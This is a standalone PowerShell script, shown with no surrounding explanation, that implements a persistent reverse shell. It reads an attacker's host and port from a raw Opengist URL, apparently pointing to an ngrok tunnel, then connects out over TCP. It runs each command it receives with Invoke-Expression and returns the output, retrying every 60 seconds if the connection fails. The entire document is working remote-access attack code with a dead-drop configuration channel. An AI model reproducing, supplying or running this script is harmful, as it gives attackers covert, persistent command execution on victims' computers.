$gist_url = "https://demo.opengist.io/mojito/a0d7ff0887304b9da3c113383dbcb5cf/raw/HEAD/notes.txt"
while($true) { 
    try { 
        $config = (Invoke-WebRequest -Uri $gist_url -UseBasicParsing).Content.Trim() 
        $remote = $config -split " " 
        $ngrok_host = $remote[0] 
        $ngrok_port = $remote[1] 
        Write-Output "[*] Read config: Connecting to $ngrok_host`:$ngrok_port" 
        $client = New-Object System.Net.Sockets.TCPClient($ngrok_host, $ngrok_port) 
        $stream = $client.GetStream() 
        [byte[]]$bytes = 0..65535|%{0} 
        while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) { 
            $data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) 
            $sendback = (iex $data 2>&1 | Out-String ) 
            $sendback2 = $sendback + 'PS ' + (pwd).Path + '> ' 
            $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) 
            $stream.Write($sendbyte,0,$sendbyte.Length) 
            $stream.Flush() 
        } 
        $client.Close() 
        Write-Output "[*] Connection closed. Will read Gist again before retrying." 
    } catch { 
        Write-Output "[!] Connection failed. Will retry in 60 seconds..." 
    } 
    Start-Sleep -Seconds 60 
}